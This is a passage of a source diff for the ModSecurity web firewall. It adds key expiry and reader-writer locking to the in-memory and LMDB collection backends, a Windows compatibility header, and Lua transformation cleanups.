may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -15,6 +15,7 @@ #include "src/collection/backend/in_memory-per_process.h" +#include "src/collection/backend/collection_data.h" #ifdef __cplusplus #include @@ -24,8 +25,6 @@ #include #endif -#include - #include "modsecurity/variable_value.h" #include "src/utils/regex.h" #include "src/utils/string.h" @@ -38,26 +37,48 @@ namespace backend { InMemoryPerProcess::InMemoryPerProcess(const std::string &name) : Collection(name) { - this->reserve(1000); - pthread_mutex_init(&m_lock, NULL); + m_map.reserve(1000); } InMemoryPerProcess::~InMemoryPerProcess() { - this->clear(); - pthread_mutex_destroy(&m_lock); + m_map.clear(); +} + + +template +inline void __store(Map &map, std::string key, std::string value) { + // NOTE: should be called with write-lock previously acquired + + map.emplace(key, value); +} + + +template +inline bool __updateFirst(Map &map, + const std::string &key, + const std::string &value) { + // NOTE: should be called with write-lock previously acquired + + if (auto search = map.find(key); search != map.end()) { + search->second.setValue(value); + return true; + } + + return false; } -void InMemoryPerProcess::store(std::string key, std::string value) { - pthread_mutex_lock(&m_lock); - this->emplace(key, value); - pthread_mutex_unlock(&m_lock); + +void InMemoryPerProcess::store(const std::string &key, const std::string &value) { + const std::lock_guard lock(m_mutex); // write lock (exclusive access) + __store(m_map, key, value); } bool InMemoryPerProcess::storeOrUpdateFirst(const std::string &key, const std::string &value) { - if (updateFirst(key, value) == false) { - store(key, value); + const std::lock_guard lock(m_mutex); // write lock (exclusive access) + if (__updateFirst(m_map, key, value) == false) { + __store(m_map, key, value); } return true; } @@ -65,109 +86,169 @@ bool InMemoryPerProcess::storeOrUpdateFirst(const std::string &key, bool InMemoryPerProcess::updateFirst(const std::string &key, const std::string &value) { - pthread_mutex_lock(&m_lock); - auto range = this->equal_range(key); + const std::lock_guard lock(m_mutex); // write lock (exclusive access) + return __updateFirst(m_map, key, value); +} - for (auto it = range.first; it != range.second; ++it) { - it->second = value; - pthread_mutex_unlock(&m_lock); - return true; + +void InMemoryPerProcess::del(const std::string& key) { + const std::lock_guard lock(m_mutex); // write lock (exclusive access) + m_map.erase(key); +} + +void InMemoryPerProcess::delIfExpired(const std::string& key) { + const std::lock_guard lock(m_mutex); // write lock (exclusive access) + // Double check the status while within the mutex + const auto iter = std::find_if(m_map.begin(), m_map.end(), + [&key](const auto &x) { return x.first == key && x.second.isExpired(); }); + if (iter != m_map.end()) { + m_map.erase(key); } - pthread_mutex_unlock(&m_lock); - return false; } +void InMemoryPerProcess::setExpiry(const std::string& key, int32_t expiry_seconds) { + const std::lock_guard lock(m_mutex); // write lock (exclusive access) -void InMemoryPerProcess::del(const std::string& key) { - pthread_mutex_lock(&m_lock); - this->erase(key); - pthread_mutex_unlock(&m_lock); + if (const auto search = m_map.find(key); search != m_map.end()) { + search->second.setExpiry(expiry_seconds); + return; + } + + // We allow an expiry value to be set for a key that has not (yet) had a value set. + const auto iter = m_map.emplace(key, CollectionData()); + iter->second.setExpiry(expiry_seconds); } void InMemoryPerProcess::resolveSingleMatch(const std::string& var, std::vector *l) { - auto range = this->equal_range(var); + std::list expiredVars; - for (auto it = range.first; it != range.second; ++it) { - l->push_back(new VariableValue(&m_name, &it->first, &it->second)); + { + const std::shared_lock lock(m_mutex); // read lock (shared access) + + const auto range = m_map.equal_range(var); + for (auto it = range.first; it != range.second; ++it) { + if (it->second.isExpired()) { + expiredVars.push_back(it->first); + } else if (it->second.hasValue() == false) { + // No-op. A non-expired expiry exists for the key but there is no actual value + } else { + l->push_back(new VariableValue(&m_name, &it->first, &it->second.getValue())); + } + } + } + + for (const auto& expiredVar : expiredVars) { + delIfExpired(expiredVar); } } void InMemoryPerProcess::resolveMultiMatches(const std::string& var, std::vector *l, variables::KeyExclusions &ke) { - size_t keySize = var.size(); + const auto keySize = var.size(); l->reserve(15); - - if (keySize == 0) { - for (auto &i : *this) { - if (ke.toOmit(i.first)) { - continue; + std::list expiredVars; + + { + const std::shared_lock lock(m_mutex); // read lock (shared access) + + if (keySize == 0) { + for (auto &i : m_map) { + if (ke.toOmit(i.first)) { + continue; + } + if (i.second.isExpired()) { + expiredVars.push_back(i.first); + } else if (i.second.hasValue() == false) { + // No-op. A non-expired expiry exists for the key but there is no actual value + } else { + l->insert(l->begin(), new VariableValue(&m_name, &i.first, + &i.second.getValue())); + } } - l->insert(l->begin(), new VariableValue(&m_name, &i.first, - &i.second)); - } - } else { - auto range = this->equal_range(var); - for (auto it = range.first; it != range.second; ++it) { - if (ke.toOmit(var)) { - continue; + } else { + const auto range = m_map.equal_range(var); + for (auto it = range.first; it != range.second; ++it) { + if (ke.toOmit(var)) { + continue; + } + if (it->second.isExpired()) { + expiredVars.push_back(it->first); + } else if (it->second.hasValue() == false) { + // No-op. A non-expired expiry exists for the key but there is no actual value + } else { + l->insert(l->begin(), new VariableValue(&m_name, &var, + &it->second.getValue())); + } } - l->insert(l->begin(), new VariableValue(&m_name, &var, - &it->second)); } } + + for (const auto& expiredVar : expiredVars) { + delIfExpired(expiredVar); + } } void InMemoryPerProcess::resolveRegularExpression(const std::string& var, std::vector *l, variables::KeyExclusions &ke) { - - //if (var.find(":") == std::string::npos) { - // return; - //} - //if (var.size() < var.find(":") + 3) { - // return; - //} - //std::string col = std::string(var, 0, var.find(":")); - //std::string name = std::string(var, var.find(":") + 2, - // var.size() - var.find(":") - 3); - //size_t keySize = col.size(); Utils::Regex r(var, true); + std::list expiredVars; - for (const auto& x : *this) { - //if (x.first.size() <= keySize + 1) { - // continue; - //} - //if (x.first.at(keySize) != ':') { - // continue; - //} - //if (std::string(x.first, 0, keySize) != col) { - // continue; - //} - //std::string content = std::string(x.first, keySize + 1, - // x.first.size() - keySize - 1); - int ret = Utils::regex_search(x.first, r); - if (ret <= 0) { - continue; - } - if (ke.toOmit(x.first)) { - continue; + { + const std::shared_lock lock(m_mutex); // read lock (shared access) + + for (const auto& x : m_map) { + const auto ret = Utils::regex_search(x.first, r); + if (ret <= 0) { + continue; + } + if (ke.toOmit(x.first)) { + continue; + } + if (x.second.isExpired()) { + expiredVars.push_back(x.first); + } else if (x.second.hasValue() == false) { + // No-op. A non-expired expiry exists for the key but there is no actual value + } else { + l->insert(l->begin(), new VariableValue(&m_name, &x.first, &x.second.getValue())); + } } - l->insert(l->begin(), new VariableValue(&m_name, &x.first, &x.second)); + } + + for (const auto& expiredVar : expiredVars) { + delIfExpired(expiredVar); } } std::unique_ptr InMemoryPerProcess::resolveFirst( const std::string& var) { - auto range = equal_range(var); - for (auto it = range.first; it != range.second; ++it) { - return std::unique_ptr(new std::string(it->second)); + std::unique_ptr ret; + std::list expiredVars; + + { + const std::shared_lock lock(m_mutex); // read lock (shared access) + + const auto range = m_map.equal_range(var); + for (auto it = range.first; it != range.second; ++it) { + if (it->second.isExpired()) { + expiredVars.push_back(it->first); + } else if (it->second.hasValue() == false) { + // No-op. A non-expired expiry exists for the key but there is no actual value + } else { + ret = std::make_unique(it->second.getValue()); + } + } + } + + for (const auto& expiredVar : expiredVars) { + delIfExpired(expiredVar); } - return NULL; + return ret; } diff --git a/src/collection/backend/in_memory-per_process.h b/src/collection/backend/in_memory-per_process.h index 4e4566c071..4aa7b1d076 100644 --- a/src/collection/backend/in_memory-per_process.h +++ b/src/collection/backend/in_memory-per_process.h @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -18,15 +18,18 @@ #include #include #include +#include #include #include #include #include +#include #endif #include "modsecurity/variable_value.h" #include "modsecurity/collection/collection.h" +#include "src/collection/backend/collection_data.h" #include "src/variables/variable.h" #ifndef SRC_COLLECTION_BACKEND_IN_MEMORY_PER_PROCESS_H_ @@ -68,13 +71,11 @@ struct MyHash{ }; class InMemoryPerProcess : - public std::unordered_multimap*/MyHash, MyEqual>, public Collection { public: explicit InMemoryPerProcess(const std::string &name); - ~InMemoryPerProcess(); - void store(std::string key, std::string value) override; + ~InMemoryPerProcess() override; + void store(const std::string &key, const std::string &value); bool storeOrUpdateFirst(const std::string &key, const std::string &value) override; @@ -84,6 +85,10 @@ class InMemoryPerProcess : void del(const std::string& key) override; + void delIfExpired(const std::string& key); + + void setExpiry(const std::string& key, int32_t expiry_seconds) override; + std::unique_ptr resolveFirst(const std::string& var) override; void resolveSingleMatch(const std::string& var, @@ -95,8 +100,24 @@ class InMemoryPerProcess : std::vector *l, variables::KeyExclusions &ke) override; + /* store */ + virtual void store(const std::string &key, std::string &compartment, + std::string value) { + const auto nkey = compartment + "::" + key; + store(nkey, value); + } + + + virtual void store(const std::string &key, const std::string &compartment, + std::string compartment2, std::string value) { + const auto nkey = compartment + "::" + compartment2 + "::" + key; + store(nkey, value); + } + private: - pthread_mutex_t m_lock; + std::unordered_multimap*/MyHash, MyEqual> m_map; + std::shared_mutex m_mutex; }; } // namespace backend diff --git a/src/collection/backend/lmdb.cc b/src/collection/backend/lmdb.cc index fd22b54e61..9b07dc7ef6 100644 --- a/src/collection/backend/lmdb.cc +++ b/src/collection/backend/lmdb.cc @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -15,15 +15,18 @@ #include "src/collection/backend/lmdb.h" +#include "src/collection/backend/collection_data.h" #include +#ifndef WIN32 #include +#else +#include +#endif #include #include -#include - #include "modsecurity/variable_value.h" #include "src/utils/regex.h" #include "src/variables/variable.h" @@ -158,6 +161,7 @@ std::unique_ptr LMDB::resolveFirst(const std::string& var) { MDB_val mdb_value_ret; std::unique_ptr ret = NULL; MDB_txn *txn = NULL; + CollectionData collectionData; string2val(var, &mdb_key); @@ -172,52 +176,66 @@ std::unique_ptr LMDB::resolveFirst(const std::string& var) { goto end_get; } - ret = std::unique_ptr(new std::string( - reinterpret_cast(mdb_value_ret.mv_data), - mdb_value_ret.mv_size)); + collectionData.setFromSerialized(reinterpret_cast(mdb_value_ret.mv_data), mdb_value_ret.mv_size); + if ((!collectionData.isExpired()) && (collectionData.hasValue())) { + ret = std::make_unique(collectionData.getValue()); + } end_get: mdb_txn_abort(txn); end_txn: + // The read-only transaction is complete. Now we can do a delete if the item was expired. + if (collectionData.isExpired()) { + delIfExpired(var); + } return ret; } -bool LMDB::storeOrUpdateFirst(const std::string &key, - const std::string &value) { +void LMDB::setExpiry(const std::string &key, int32_t expiry_seconds) { int rc; MDB_txn *txn; MDB_val mdb_key; MDB_val mdb_value; MDB_val mdb_value_ret; + CollectionData previous_data; + CollectionData new_data; + std::string serializedData; string2val(key, &mdb_key); - string2val(value, &mdb_value); rc = txn_begin(0, &txn); - lmdb_debug(rc, "txn", "storeOrUpdateFirst"); + lmdb_debug(rc, "txn", "setExpiry"); if (rc != 0) { goto end_txn; } rc = mdb_get(txn, m_dbi, &mdb_key, &mdb_value_ret); - lmdb_debug(rc, "get", "storeOrUpdateFirst"); + lmdb_debug(rc, "get", "setExpiry"); if (rc == 0) { + previous_data.setFromSerialized(reinterpret_cast(mdb_value_ret.mv_data), mdb_value_ret.mv_size); rc = mdb_del(txn, m_dbi, &mdb_key, &mdb_value_ret); - lmdb_debug(rc, "del", "storeOrUpdateFirst"); + lmdb_debug(rc, "del", "setExpiry"); if (rc != 0) { goto end_del; } } + if (previous_data.hasValue()) { + new_data = previous_data; + }; + new_data.setExpiry(expiry_seconds); + serializedData = new_data.getSerialized(); + string2val(serializedData, &mdb_value); + rc = mdb_put(txn, m_dbi, &mdb_key, &mdb_value, 0); - lmdb_debug(rc, "put", "storeOrUpdateFirst"); + lmdb_debug(rc, "put", "setExpiry"); if (rc != 0) { goto end_put; } rc = mdb_txn_commit(txn); - lmdb_debug(rc, "commit", "storeOrUpdateFirst"); + lmdb_debug(rc, "commit", "setExpiry"); if (rc != 0) { goto end_commit; } @@ -229,77 +247,154 @@ bool LMDB::storeOrUpdateFirst(const std::string &key, } end_commit: end_txn: - return true; + return; } - -void LMDB::resolveSingleMatch(const std::string& var, - std::vector *l) { - int rc; +void LMDB::delIfExpired(const std::string& key) { MDB_txn *txn; MDB_val mdb_key; - MDB_val mdb_value; MDB_val mdb_value_ret; - MDB_cursor *cursor; + CollectionData collectionData; - rc = txn_begin(MDB_RDONLY, &txn); - lmdb_debug(rc, "txn", "resolveSingleMatch"); + int rc = txn_begin(0, &txn); + lmdb_debug(rc, "txn", "del"); if (rc != 0) { goto end_txn; } - string2val(var, &mdb_key); + string2val(key, &mdb_key); - mdb_cursor_open(txn, m_dbi, &cursor); - while ((rc = mdb_cursor_get(cursor, &mdb_key, - &mdb_value_ret, MDB_NEXT_DUP)) == 0) { - std::string *a = new std::string( - reinterpret_cast(mdb_value_ret.mv_data), - mdb_value_ret.mv_size); - VariableValue *v = new VariableValue(&var, a); - l->push_back(v); + rc = mdb_get(txn, m_dbi, &mdb_key, &mdb_value_ret); + lmdb_debug(rc, "get", "del"); + if (rc != 0) { + goto end_get; } - mdb_cursor_close(cursor); - mdb_txn_abort(txn); + collectionData.setFromSerialized(reinterpret_cast(mdb_value_ret.mv_data), mdb_value_ret.mv_size); + if (collectionData.isExpired()) { + rc = mdb_del(txn, m_dbi, &mdb_key, &mdb_value_ret); + lmdb_debug(rc, "del", "del"); + if (rc != 0) { + goto end_del; + } + } + + rc = mdb_txn_commit(txn); + lmdb_debug(rc, "commit", "del"); + if (rc != 0) { + goto end_commit; + } + +end_del: +end_get: + if (rc != 0) { + mdb_txn_abort(txn); + } +end_commit: end_txn: return; } - -void LMDB::store(std::string key, std::string value) { - MDB_val mdb_key, mdb_data; - MDB_txn *txn = NULL; +bool LMDB::storeOrUpdateFirst(const std::string &key, + const std::string &value) { int rc; - MDB_stat mst; + MDB_txn *txn; + MDB_val mdb_key; + MDB_val mdb_value; + MDB_val mdb_value_ret; + CollectionData previous_data; + CollectionData new_data; + std::string serializedData; + + string2val(key, &mdb_key); rc = txn_begin(0, &txn); - lmdb_debug(rc, "txn", "store"); + lmdb_debug(rc, "txn", "storeOrUpdateFirst"); if (rc != 0) { goto end_txn; } - string2val(key, &mdb_key); - string2val(value, &mdb_data); - rc = mdb_put(txn, m_dbi, &mdb_key, &mdb_data, 0); - lmdb_debug(rc, "put", "store"); + rc = mdb_get(txn, m_dbi, &mdb_key, &mdb_value_ret); + lmdb_debug(rc, "get", "storeOrUpdateFirst"); + if (rc == 0) { + previous_data.setFromSerialized(reinterpret_cast(mdb_value_ret.mv_data), mdb_value_ret.mv_size); + rc = mdb_del(txn, m_dbi, &mdb_key, &mdb_value_ret); + lmdb_debug(rc, "del", "storeOrUpdateFirst"); + if (rc != 0) { + goto end_del; + } + } + + if (previous_data.hasExpiry()) { + new_data = previous_data; + }; + new_data.setValue(value); + serializedData = new_data.getSerialized(); + string2val(serializedData, &mdb_value); + + rc = mdb_put(txn, m_dbi, &mdb_key, &mdb_value, 0); + lmdb_debug(rc, "put", "storeOrUpdateFirst"); if (rc != 0) { goto end_put; } rc = mdb_txn_commit(txn); - lmdb_debug(rc, "commit", "store"); + lmdb_debug(rc, "commit", "storeOrUpdateFirst"); if (rc != 0) { goto end_commit; } end_put: -end_dbi: +end_del: if (rc != 0) { mdb_txn_abort(txn); } end_commit: end_txn: + return true; +} + + +void LMDB::resolveSingleMatch(const std::string& var, + std::vector *l) { + int rc; + MDB_txn *txn; + MDB_val mdb_key; + MDB_val mdb_value; + MDB_val mdb_value_ret; + MDB_cursor *cursor; + CollectionData collectionData; + std::list expiredVars; + + rc = txn_begin(MDB_RDONLY, &txn); + lmdb_debug(rc, "txn", "resolveSingleMatch"); + if (rc != 0) { + goto end_txn; + } + + string2val(var, &mdb_key); + + mdb_cursor_open(txn, m_dbi, &cursor); + while ((rc = mdb_cursor_get(cursor, &mdb_key, + &mdb_value_ret, MDB_NEXT_DUP)) == 0) { + collectionData.setFromSerialized(reinterpret_cast(mdb_value_ret.mv_data), mdb_value_ret.mv_size); + if (collectionData.isExpired()) { + expiredVars.push_back(std::string(reinterpret_cast(mdb_key.mv_data), mdb_key.mv_size)); + continue; + } + if (!collectionData.hasValue()) { + continue; + } + VariableValue *v = new VariableValue(&var, &collectionData.getValue()); + l->push_back(v); + } + + mdb_cursor_close(cursor); + mdb_txn_abort(txn); +end_txn: + for (const auto& expiredVar : expiredVars) { + delIfExpired(expiredVar); + } return; } @@ -311,6 +406,9 @@ bool LMDB::updateFirst(const std::string &key, MDB_val mdb_key; MDB_val mdb_value; MDB_val mdb_value_ret; + CollectionData previous_data; + CollectionData new_data; + std::string serializedData; rc = txn_begin(0, &txn); lmdb_debug(rc, "txn", "updateFirst"); @@ -319,7 +417,6 @@ bool LMDB::updateFirst(const std::string &key, } string2val(key, &mdb_key); - string2val(value, &mdb_value); rc = mdb_get(txn, m_dbi, &mdb_key, &mdb_value_ret); lmdb_debug(rc, "get", "updateFirst"); @@ -327,12 +424,20 @@ bool LMDB::updateFirst(const std::string &key, goto end_get; } + previous_data.setFromSerialized(reinterpret_cast(mdb_value_ret.mv_data), mdb_value_ret.mv_size); rc = mdb_del(txn, m_dbi, &mdb_key, &mdb_value_ret); lmdb_debug(rc, "del", "updateFirst"); if (rc != 0) { goto end_del; } + if (previous_data.hasExpiry()) { + new_data = previous_data; + }; + new_data.setValue(value); + serializedData = new_data.getSerialized(); + string2val(serializedData, &mdb_value); + rc = mdb_put(txn, m_dbi, &mdb_key, &mdb_value, 0); lmdb_debug(rc, "put", "updateFirst"); if (rc != 0) { @@ -402,7 +507,6 @@ void LMDB::del(const std::string& key) { return; } - void LMDB::resolveMultiMatches(const std::string& var, std::vector *l, variables::KeyExclusions &ke) { @@ -412,6 +516,8 @@ void LMDB::resolveMultiMatches(const std::string& var, MDB_stat mst; size_t keySize = var.size(); MDB_cursor *cursor; + CollectionData collectionData; + std::list expiredVars; rc = txn_begin(MDB_RDONLY, &txn); lmdb_debug(rc, "txn", "resolveMultiMatches"); @@ -427,23 +533,36 @@ void LMDB::resolveMultiMatches(const std::string& var, if (keySize == 0) { while ((rc = mdb_cursor_get(cursor, &key, &data, MDB_NEXT)) == 0) { + collectionData.setFromSerialized(reinterpret_cast(data.mv_data), data.mv_size); + + if (collectionData.isExpired()) { + expiredVars.push_back(std::string(reinterpret_cast(key.mv_data), key.mv_size)); + continue; + } + if (!collectionData.hasValue()) { + continue; + } + + std::string key_to_insert(reinterpret_cast(key.mv_data), key.mv_size); l->insert(l->begin(), new VariableValue( - &m_name, - new std::string(reinterpret_cast(key.mv_data), - key.mv_size), - new std::string(reinterpret_cast(data.mv_data), - data.mv_size))); + &m_name, &key_to_insert, &collectionData.getValue())); } } else { while ((rc = mdb_cursor_get(cursor, &key, &data, MDB_NEXT)) == 0) { - char *a = reinterpret_cast(key.mv_data); + collectionData.setFromSerialized(reinterpret_cast(data.mv_data), data.mv_size); + + if (collectionData.isExpired()) { + expiredVars.push_back(std::string(reinterpret_cast(key.mv_data), key.mv_size)); + continue; + } + if (!collectionData.hasValue()) { + continue; + } + + const char *a = reinterpret_cast(key.mv_data); if (strncmp(var.c_str(), a, keySize) == 0) { - l->insert(l->begin(), new VariableValue( - &m_name, - new std::string(reinterpret_cast(key.mv_data), - key.mv_size), - new std::string(reinterpret_cast(data.mv_data), - data.mv_size))); + std::string key_to_insert(reinterpret_cast(key.mv_data), key.mv_size); + l->insert(l->begin(), new VariableValue(&m_name, &key_to_insert, &collectionData.getValue())); } } } @@ -452,6 +571,9 @@ void LMDB::resolveMultiMatches(const std::string& var, end_cursor_open: mdb_txn_abort(txn); end_txn: + for (const auto& expiredVar : expiredVars) { + delIfExpired(expiredVar); + } return; } @@ -464,6 +586,8 @@ void LMDB::resolveRegularExpression(const std::string& var, int rc; MDB_stat mst; MDB_cursor *cursor; + CollectionData collectionData; + std::list expiredVars; Utils::Regex r(var, true); @@ -480,21 +604,26 @@ void LMDB::resolveRegularExpression(const std::string& var, } while ((rc = mdb_cursor_get(cursor, &key, &data, MDB_NEXT)) == 0) { - char *a = reinterpret_cast(key.mv_data); - int ret = Utils::regex_search(a, r); + collectionData.setFromSerialized(reinterpret_cast(data.mv_data), data.mv_size); + + if (collectionData.isExpired()) { + expiredVars.push_back(std::string(reinterpret_cast(key.mv_data), key.mv_size)); + continue; + } + if (!collectionData.hasValue()) { + continue; + } + + std::string key_to_insert(reinterpret_cast(key.mv_data), key.mv_size); + int ret = Utils::regex_search(key_to_insert, r); if (ret <= 0) { continue; } - if (ke.toOmit(std::string(reinterpret_cast(key.mv_data), - key.mv_size))) { + if (ke.toOmit(key_to_insert)) { continue; } - VariableValue *v = new VariableValue( - new std::string(reinterpret_cast(key.mv_data), - key.mv_size), - new std::string(reinterpret_cast(data.mv_data), - data.mv_size)); + VariableValue *v = new VariableValue(&key_to_insert, &collectionData.getValue()); l->insert(l->begin(), v); } @@ -502,6 +631,9 @@ void LMDB::resolveRegularExpression(const std::string& var, end_cursor_open: mdb_txn_abort(txn); end_txn: + for (const auto& expiredVar : expiredVars) { + delIfExpired(expiredVar); + } return; } @@ -511,7 +643,7 @@ MDBEnvProvider::MDBEnvProvider() : m_env(NULL), valid(false) { MDB_txn *txn; mdb_env_create(&m_env); rc = mdb_env_open(m_env, "./modsec-shared-collections", - MDB_WRITEMAP | MDB_NOSUBDIR, 0664); + MDB_NOSUBDIR, 0664); if (rc == 0) { valid = true; @@ -529,7 +661,7 @@ MDB_dbi* MDBEnvProvider::GetDBI() { return &m_dbi; } -bool MDBEnvProvider::isValid() { +bool MDBEnvProvider::isValid() const { return valid; } diff --git a/src/collection/backend/lmdb.h b/src/collection/backend/lmdb.h index 37177c5204..49633e37b9 100644 --- a/src/collection/backend/lmdb.h +++ b/src/collection/backend/lmdb.h @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -27,12 +27,10 @@ #ifdef WITH_LMDB #include -#include #endif // WITH_LMDB #include #include #include -#include #include "modsecurity/variable_value.h" #include "modsecurity/collection/collection.h" @@ -83,7 +81,7 @@ class MDBEnvProvider { } MDB_env* GetEnv(); MDB_dbi* GetDBI(); - bool isValid(); + bool isValid() const; ~MDBEnvProvider(); private: @@ -98,7 +96,6 @@ class LMDB : public Collection { public: explicit LMDB(const std::string &name); - void store(std::string key, std::string value) override; bool storeOrUpdateFirst(const std::string &key, const std::string &value) override; @@ -108,6 +105,8 @@ class LMDB : void del(const std::string& key) override; + void setExpiry(const std::string& key, int32_t expiry_seconds) override; + std::unique_ptr resolveFirst(const std::string& var) override; void resolveSingleMatch(const std::string& var, @@ -124,6 +123,8 @@ class LMDB : void string2val(const std::string& str, MDB_val *val); void inline lmdb_debug(int rc, const std::string &op, const std::string &scope); + void delIfExpired(const std::string& key); + MDB_env *m_env; MDB_dbi m_dbi; bool isOpen; diff --git a/src/compat/msvc.h b/src/compat/msvc.h new file mode 100644 index 0000000000..75630691cc --- /dev/null +++ b/src/compat/msvc.h @@ -0,0 +1,23 @@ +#ifndef __COMPAT_MSVC +#define __COMPAT_MSVC + +#include + +#if !defined(S_ISREG) && defined(S_IFMT) && defined(S_IFREG) +#define S_ISREG(m) (((m) & S_IFMT) == S_IFREG) +#endif + +#define strcasecmp _stricmp +#define strncasecmp _strnicmp +#define strtok_r strtok_s +#define popen _popen +#define pclose _pclose + +inline tm* localtime_r(const time_t* tin, tm* tout) { + // cppcheck-suppress[uninitvar, ctuuninitvar] + if (!localtime_s(tout, tin)) return tout; + + return nullptr; +} + +#endif diff --git a/src/debug_log/debug_log.cc b/src/debug_log/debug_log.cc index 54d86bda0c..e883177ca4 100644 --- a/src/debug_log/debug_log.cc +++ b/src/debug_log/debug_log.cc @@ -15,10 +15,6 @@ #include "modsecurity/debug_log.h" -#include - -#include - #include "src/debug_log/debug_log_writer.h" #include "src/debug_log_writer_agent.h" diff --git a/src/debug_log/debug_log_writer.cc b/src/debug_log/debug_log_writer.cc index 86facfed3b..b7bb1ff265 100644 --- a/src/debug_log/debug_log_writer.cc +++ b/src/debug_log/debug_log_writer.cc @@ -15,18 +15,6 @@ #include "src/debug_log/debug_log_writer.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include - #include "src/utils/shared_files.h" namespace modsecurity { diff --git a/src/debug_log/debug_log_writer.h b/src/debug_log/debug_log_writer.h index 1f4f43df53..46b641d686 100644 --- a/src/debug_log/debug_log_writer.h +++ b/src/debug_log/debug_log_writer.h @@ -13,15 +13,7 @@ * */ -#include -#include -#include -#include - -#include -#include #include -#include #ifndef SRC_DEBUG_LOG_DEBUG_LOG_WRITER_H_ @@ -45,18 +37,16 @@ class DebugLogWriter { static int open(const std::string& m_fileName, std::string *error); private: - DebugLogWriter() : m_first(NULL) { } - ~DebugLogWriter() { } + DebugLogWriter() = default; + ~DebugLogWriter() = default; // C++ 03 // ======== // Dont forget to declare these two. You want to make sure they // are unacceptable otherwise you may accidentally get copies of // your singleton appearing. - DebugLogWriter(DebugLogWriter const&); - void operator=(DebugLogWriter const&); - - struct debug_log_file_handler *m_first; + DebugLogWriter(DebugLogWriter const&) = delete; + void operator=(DebugLogWriter const&) = delete; }; diff --git a/src/engine/lua.cc b/src/engine/lua.cc index 0fac4f6477..b256b57d68 100644 --- a/src/engine/lua.cc +++ b/src/engine/lua.cc @@ -114,14 +114,14 @@ int Lua::blob_keeper(lua_State *L, const void *p, size_t sz, void *ud) { const char *Lua::blob_reader(lua_State *L, void *ud, size_t *size) { - LuaScriptBlob *lsb = static_cast(ud); + const LuaScriptBlob *lsb = static_cast(ud); const char *data = lsb->read(size); return data; } #endif -int Lua::run(Transaction *t, const std::string &str) { +int Lua::run(Transaction *t, const std::string &str) { // cppcheck-suppress constParameterPointer #ifdef WITH_LUA std::string luaRet; const char *a = NULL; @@ -154,7 +154,7 @@ int Lua::run(Transaction *t, const std::string &str) { case LUA_ERRMEM: e.assign("Memory error. "); break; -#if !defined(WITH_LUA_5_1) and !defined(WITH_LUA_5_4) +#if !defined(WITH_LUA_5_1) and !defined(WITH_LUA_5_4) and !defined(WITH_LUA_5_5) case LUA_ERRGCMM: e.assign("Garbage Collector error. "); break; @@ -185,7 +185,7 @@ int Lua::run(Transaction *t, const std::string &str) { lua_getglobal(L, "main"); - ms_dbg_a(t, 1, str); + ms_dbg_a(t, 9, str); /* Put the parameter on the stack. */ if (!str.empty() ) { @@ -267,7 +267,7 @@ int Lua::getvar(lua_State *L) { t = reinterpret_cast(z); std::string var = variables::Variable::stringMatchResolve(t, varname); - var = applyTransformations(L, t, 2, var); + applyTransformations(L, t, 2, var); if (var.size() == 0) { lua_pushnil(L); @@ -407,12 +407,10 @@ int Lua::setvar(lua_State *L) { } -std::string Lua::applyTransformations(lua_State *L, Transaction *t, - int idx, std::string var) { - std::string newVar = var; - +void Lua::applyTransformations(lua_State *L, const Transaction *t, + int idx, std::string &var) { if (lua_isuserdata(L, idx) || lua_isnoneornil(L, idx)) { - return var; + return; } if (lua_istable(L, idx)) { @@ -429,16 +427,15 @@ std::string Lua::applyTransformations(lua_State *L, Transaction *t, /* A "none" means start over */ if (strcmp("none", name) == 0) { - newVar = var; continue; } - actions::transformations::Transformation *tfn = \ + auto tfn = \ actions::transformations::Transformation::instantiate( "t:" + std::string(name)); // FIXME: transformation is not yet returning null. if (tfn) { - newVar = tfn->evaluate(newVar, t); + tfn->transform(var, t); } else { ms_dbg_a(t, 1, "SecRuleScript: Invalid transformation function: " \ @@ -447,32 +444,31 @@ std::string Lua::applyTransformations(lua_State *L, Transaction *t, delete tfn; } - return newVar; + return; } if (lua_isstring(L, idx)) { const char *name(NULL); name = reinterpret_cast(luaL_checkstring(L, idx)); - actions::transformations::Transformation *tfn = \ + auto tfn = \ actions::transformations::Transformation::instantiate( "t:" + std::string(name)); // FIXME: transformation is not yet returning null. if (tfn) { - newVar = tfn->evaluate(newVar, t); + tfn->transform(var, t); delete tfn; } else { ms_dbg_a(t, 1, "SecRuleScript: Invalid transformation function: " \ + std::string(name)); } - return newVar; + return; } ms_dbg_a(t, 8, "SecRuleScript: Transformation parameter must be a " \ "transformation name or array of transformation names, but found " \ "" + std::string(lua_typename(L, idx)) + " (type " \ + std::to_string(lua_type(L, idx)) + ")"); - return newVar; } #endif diff --git a/src/engine/lua.h b/src/engine/lua.h index 9a678fd740..967a6fa896 100644 --- a/src/engine/lua.h +++ b/src/engine/lua.h @@ -36,6 +36,9 @@ class LuaScriptBlob { m_data(NULL), m_len(0) { } + LuaScriptBlob(const LuaScriptBlob&) = delete; + LuaScriptBlob& operator=(const LuaScriptBlob&) = delete; + ~LuaScriptBlob() { if (m_data) { free(m_data); @@ -68,7 +71,7 @@ class Lua { Lua() { } bool load(const std::string &script, std::string *err); - int run(Transaction *t, const std::string &str=""); + int run(Transaction *t, const std::string &str = ""); static bool isCompatible(const std::string &script, Lua *l, std::string *error); #ifdef WITH_LUA @@ -79,8 +82,8 @@ class Lua { static int getvar(lua_State *L); static int getvars(lua_State *L); static int setvar(lua_State *L); - static std::string applyTransformations(lua_State *L, Transaction *t, - int idx, std::string var); + static void applyTransformations(lua_State *L, const Transaction *t, + int idx, std::string &var); LuaScriptBlob m_blob; #endif diff --git a/src/modsecurity.cc b/src/modsecurity.cc index 854ec31ea9..487efa4af5 100644 --- 